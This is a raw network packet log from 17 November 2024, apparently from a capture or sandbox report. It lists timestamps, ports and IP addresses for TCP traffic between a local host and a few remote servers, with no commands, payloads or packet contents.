Nov 17, 2024 01:38:12.279047966 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:12.279074907 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:12.279140949 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:12.279505014 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:12.279525042 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.021018028 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.021140099 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.023677111 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.023688078 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.024195910 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.033349037 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.075354099 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.279062033 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.279093981 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.279186964 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.279205084 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.279267073 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.396639109 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.396748066 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.396760941 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.396776915 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.396817923 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.396831036 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.514317989 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.514353037 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.514451027 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.514451027 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.514468908 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.514513016 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.631949902 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.631992102 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.632044077 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.632060051 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.632090092 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.632110119 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.749502897 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.749527931 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.749577045 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.749594927 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.749623060 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.749638081 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.877877951 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.877903938 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.877959967 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.877978086 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.878021002 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.878041983 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.984811068 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.984833002 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.984896898 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.984913111 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:13.984941006 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:13.984967947 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.029834032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:14.034810066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:14.034893036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:14.035448074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:14.040241957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:14.102344990 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.102366924 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.102412939 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.102425098 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.102441072 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.102466106 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.151931047 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.151967049 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.152152061 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.152178049 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.152224064 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.231071949 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.231096983 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.231149912 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.231167078 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.231199980 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.231213093 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.348436117 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.348463058 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.348681927 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.348716021 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.348773956 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.466051102 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.466074944 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.466154099 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.466188908 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.466244936 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.573254108 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.573317051 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.573407888 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.573446035 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.573466063 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.573509932 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.583725929 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.583837032 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.583844900 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.583893061 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.583899021 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.583945036 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.595549107 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.595567942 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.595609903 CET	49713	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.595617056 CET	443	49713	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.816261053 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.816296101 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.816356897 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.819047928 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.819108009 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.819175959 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.819528103 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.819574118 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.819633961 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.820334911 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.820349932 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.821969986 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.821981907 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.822031021 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.822231054 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.822249889 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.822482109 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.822494984 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.822808027 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.822829008 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.825450897 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.825462103 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.825515032 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.825644016 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:14.825655937 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:14.952915907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:14.953099966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:14.956955910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:14.961924076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.255803108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.255990982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.257203102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.262164116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.542845964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.542901993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.542929888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.542994022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.544204950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.549129963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.558424950 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.558855057 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.558913946 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.558971882 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.559268951 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.559305906 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.559411049 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.559429884 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.559711933 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.559719086 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.559751034 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.560028076 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.560058117 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.560379982 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.560390949 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.570555925 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.570879936 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.570909023 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.571263075 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.571269035 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.574142933 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.574440956 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.574450016 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.574819088 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.574825048 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.687943935 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.688000917 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.688065052 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.688090086 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.688138962 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.688138962 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.688188076 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.688256979 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.688268900 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.688316107 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.688322067 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.689894915 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.690047979 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.690223932 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691057920 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691112995 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.691242933 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691251040 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691251040 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691298962 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.691334009 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.691344023 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.691346884 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694051981 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694142103 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694216967 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694360018 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694399118 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694638014 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694792032 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694850922 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694907904 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694922924 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.694952011 CET	49716	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.694966078 CET	443	49716	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.697108984 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.697135925 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.697190046 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.697370052 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.697388887 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705849886 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705876112 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705924988 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.705950022 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705952883 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705971003 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.705976963 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.706039906 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706065893 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.706095934 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706110001 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706243038 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706257105 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.706310034 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706310987 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706310987 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.706320047 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.706330061 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.706338882 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.708622932 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.708647013 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.708723068 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.709080935 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.709109068 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.709242105 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.709269047 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.709321976 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.709487915 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:15.709501028 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:15.830076933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830133915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830172062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830203056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830240011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830276012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830305099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830338955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830332994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830377102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:15.830440998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830440998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.830440998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.832016945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:15.837011099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.116945982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.117038012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:16.133152008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:16.133203030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:16.138179064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138217926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138269901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138298035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138326883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138354063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.138381004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.249888897 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:16.249988079 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:16.250087023 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:16.250688076 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:16.250725031 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:16.413837910 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.414505959 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.414599895 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.414863110 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.414879084 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.427649021 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.428037882 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.428215027 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.428235054 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.428724051 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.428724051 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.428724051 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.428740025 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.428752899 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.428764105 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.442538023 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.442717075 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.442919970 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.442949057 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.443273067 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.443351984 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.443352938 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.443361044 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.443630934 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.443687916 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.540456057 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.540683031 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.540829897 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.540915966 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.540915966 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.540957928 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.540987015 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.544048071 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.544090033 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.544202089 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.544398069 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.544413090 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.557310104 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.557384968 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.557430029 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.557943106 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.557943106 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.557960033 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.557995081 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.558662891 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.558779955 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.558830976 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.558887959 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.558896065 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.558960915 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.558965921 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.560110092 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560183048 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.560265064 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560384035 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560409069 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.560466051 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560491085 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.560558081 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560653925 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.560681105 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.570281029 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.570422888 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.570480108 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.570678949 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.570678949 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.570692062 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.570714951 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.572361946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572382927 CET	443	49729	13.107.246.45	192.168.2.6
